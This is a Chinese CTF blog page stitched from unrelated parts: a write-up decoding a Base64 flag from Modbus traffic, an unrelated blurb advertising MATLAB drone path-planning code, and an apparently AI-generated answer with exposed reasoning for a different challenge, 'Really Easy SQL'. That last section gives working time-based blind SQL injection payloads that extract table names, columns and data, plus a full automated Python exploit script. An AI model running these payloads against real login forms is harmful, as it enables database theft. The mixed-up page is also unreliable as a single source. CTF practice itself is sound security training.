【数据安全竞赛】BUUCTF·[Dest0g3 520迎新赛]StrangeTraffic

1.做题

题目为Dest0g3 520迎新赛 StrangeTraffic,数据分析题
题目
下载附件得到一个含1088分组的流量包:
附件
通过统计-协议分级可看出,Modbus/TCP协议的流量占比最多,追踪TCP流得到一个文件:
流文件1
流文件2
观察字符串的变化规律发现,蓝线之前是从点和空格变化到字符串“ABCDEFGHIJ”,从画蓝线行开始后边从第一个字母A依次变化到最后一个字母:
发现规律
第一轮变化结束,得到字符串"RGVzdDBnM3",下一轮从R开始变化……
提取字符
直至变化到第一个字母变回A后结束,得到字符串:

ABCDEFGHIJRGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9ABCDEFGHIJ

观察字符串发现前后都有"ABCDEFGHIJ",提取字符串单独分析,但中间的字符串看不出明显意义,推测为某种编码。中间字符串总长度为60,都为可打印字符串,使用CaptEncoder尝试Base64解码,得到:
解码

2.知识点

  • 找规律题如何观察,找出变化规律,提取变化稳定的字符串。
  • base64编码特性,将三个字节任意字符使用四个字节的可打印字符“a-z,A-Z,0-9,+,/”表示,同时长度不足部分使用“=”补足。
内容概要:本文介绍了一个基于MATLAB实现的无人机三维路径规划项目,采用蚁群算法(ACO)与多层感知机(MLP)相结合的混合模型(ACO-MLP)。该模型通过三维环境离散化建模,利用ACO进行全局路径搜索,并引入MLP对环境特征进行自适应学习与启发因子优化,实现路径的动态调整与多目标优化。项目解决了高维空间建模、动态障碍规避、局部最优陷阱、算法实时性及多目标权衡等关键技术难题,结合并行计算与参数自适应机制,提升了路径规划的智能性、安全性和工程适用性。文中提供了详细的模型架构、核心算法流程及MATLAB代码示例,涵盖空间建模、信息素更新、MLP训练与融合优化等关键步骤。; 适合人群:具备一定MATLAB编程基础,熟悉智能优化算法与神经网络的高校学生、科研人员及从事无人机路径规划相关工作的工程师;适合从事智能无人系统、自动驾驶、机器人导航等领域的研究人员; 使用场景及目标:①应用于复杂三维环境下的无人机路径规划,如城市物流、灾害救援、军事侦察等场景;②实现飞行安全、能耗优化、路径平滑与实时避障等多目标协同优化;③为智能无人系统的自主决策与环境适应能力提供算法支持; 阅读建议:此资源结合理论模型与MATLAB实践,建议读者在理解ACO与MLP基本原理的基础上,结合代码示例进行仿真调试,重点关注ACO-MLP融合机制、多目标优化函数设计及参数自适应策略的实现,以深入掌握混合智能算法在工程中的应用方法。
<think>用户要求提供 "[Dest0g3 520迎新] Really Easy SQL" 题目的解题方法。根据提供的引用内容,解题代码已经给出,但需要解释其原理和步骤。 首先,分析引用中的解题代码: 这是一个Python脚本,使用requests库发送HTTP POST请求进行基于时间的SQL盲注。 解题步骤解析: 1. 目标URL:`http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/`(实际题目环境可能不同) 2. 盲注类型:时间盲注(通过benchmark函数制造时间延迟判断条件真假) 3. 注入位置:登录表单的password字段(从代码中data字典的键名推断) 代码流程: - 外层循环:遍历flag字符串的位置(i从1到43,说明flag长度预估为43字符) - 内层循环:遍历ASCII码值(从40到136,覆盖了可打印字符范围) - 构造payload:每次测试一个字符的ASCII码是否等于j - 如果条件成立,执行`benchmark(2000000,md5(1))`制造延迟(约0.2秒) - 条件不成立则不延迟 - 超时处理:设置requests的超时为0.2秒,若发生超时异常(即条件成立导致延迟),则将该字符加入flag - 延时控制:每次请求后sleep 0.2秒避免触发防护;每完成一个字符后sleep 1秒 payload分析(按注释顺序): 1. 爆表名payload(已注释): ```python "0&#39;or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or&#39;".format(i,j) ``` - 作用:获取当前数据库的所有表名 - 关键部分:`select group_concat(table_name) from information_schema.tables where table_schema=database()` - 结果:从代码注释看,得到表名`flaggg,user` 2. 爆列名payload(已注释): ```python "0&#39;or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name=&#39;flaggg&#39;)),{},1))={}),benchmark(2000000,md5(1)),0))or&#39;".format(i,j) ``` - 作用:获取flaggg表的所有列名 - 结果:得到列名`cmd`(根据注释) 3. 最终使用的payload(爆数据): ```python "0&#39;or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or&#39;".format(i,j) ``` - 作用:从flaggg表的cmd列提取数据 - 注意:这里未加where条件,因此会返回多行数据的连接(但根据表名flaggg推测只有一行) 解题方法总结: 1. 识别注入点:登录框的password参数存在SQL注入漏洞(根据代码中的payload位置推断) 2. 判断注入类型:时间盲注(通过响应时间差异判断条件真假) 3. 逐步获取信息: - 第一步:获取当前数据库的表名(得到flaggg和user) - 第二步:选择flaggg表,获取其列名(得到cmd) - 第三步:从flaggg表读取cmd列的值(即flag) 4. 自动化脚本:编写Python脚本遍历每个字符的ASCII值,通过时间延迟判断正确字符 注意事项: - 实际解题时需调整超时阈值(timeout)和延迟时间(benchmark参数) - 表名/列名可能需要用反引号包裹(如特殊字符) - 若有多行数据,需使用limit或group_concat 改进建议: - 使用二分查找优化字符猜解(减少请求次数) - 添加错误重试机制(网络波动可能导致误判) - 验证flag格式(如以flag{开头) 因此,完整解题步骤为: 1. 运行提供的Python脚本(需取消对应payload的注释) 2. 按顺序执行三个步骤(爆表名→爆列名→爆数据) 3. 获取最终的flag §§相关问题§§ 1. SQL时间盲注的原理是什么? 2. 如何防御SQL注入攻击? 3. 除了时间盲注,还有哪些SQL盲注方法? </think>### [Dest0g3 520迎新] Really Easy SQL 解题方法 本题是一个基于时间盲注的SQL注入挑战,通过分析代码,解题流程分为以下三步: #### 🔍 **步骤1:获取表名(爆表)** ```python payload = "0&#39;or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or&#39;".format(i,j) ``` - **原理**:通过`information_schema.tables`查询当前数据库(`table_schema=database()`)的所有表名 - **关键函数**: - `group_concat()`:合并查询结果 - `mid(字符串,起始位置,长度)`:截取字符串 - `benchmark()`:制造时间延迟(200万次MD5计算) - **结果**:得到表名`flaggg, user`[^1] #### 🔍 **步骤2:获取列名(爆列)** ```python payload = "0&#39;or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name=&#39;flaggg&#39;)),{},1))={}),benchmark(2000000,md5(1)),0))or&#39;".format(i,j) ``` - **原理**:在已知表名`flaggg`后,从`information_schema.columns`查询其列名 - **结果**:得到列名`cmd`(存储flag的列)[^1] #### 🔍 **步骤3:提取flag数据** ```python payload = "0&#39;or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or&#39;".format(i,j) ``` - **原理**:逐字符提取`flaggg`表中`cmd`列的数据 - **自动化流程**: 1. 外层循环`i in range(1,44)`:遍历flag的43个字符位置 2. 内层循环`j in range(40,137)`:遍历ASCII可打印字符(40-136) 3. 通过响应超时(`timeout=0.2`)判断字符正确性: - 若字符匹配 → 触发`benchmark()`延迟 → 请求超时 → 记录字符 - 若不匹配 → 正常响应 #### ⚠️ **注意事项** 1. 延迟控制: - `time.sleep(0.2)`:防止请求过快被拦截 - `timeout=0.2`:需与`benchmark`耗时匹配 2. 绕过技巧: - `0&#39;or(...)or&#39;`:闭合原始SQL语句 - 注释符`--`被过滤时,用`or&#39;`巧妙闭合引号 3. 结果验证: - Flag通常以`flag{`开头 - 最终输出示例:`flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}` #### 💻 完整利用脚本 ```python import requests import time url = "http://目标网址/" flag = &#39;&#39; for i in range(1, 44): # 遍历flag位置 for j in range(40, 137): # 遍历ASCII字符 # 选择需要执行的payload(分三步) payload = f"0&#39;or(if((ascii(mid((select(cmd)from(flaggg)),{i},1))={j}),benchmark(2000000,md5(1)),0))or&#39;" data = {&#39;username&#39;: &#39;a&#39;, &#39;password&#39;: payload} try: r = requests.post(url, data=data, timeout=0.2) except requests.exceptions.Timeout: # 捕获超时异常 flag += chr(j) print(f"[+] 发现字符: {chr(j)} → 当前FLAG: {flag}") break time.sleep(0.2) # 防止请求过快 time.sleep(1) print(f"\n[✔] 最终FLAG: {flag}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值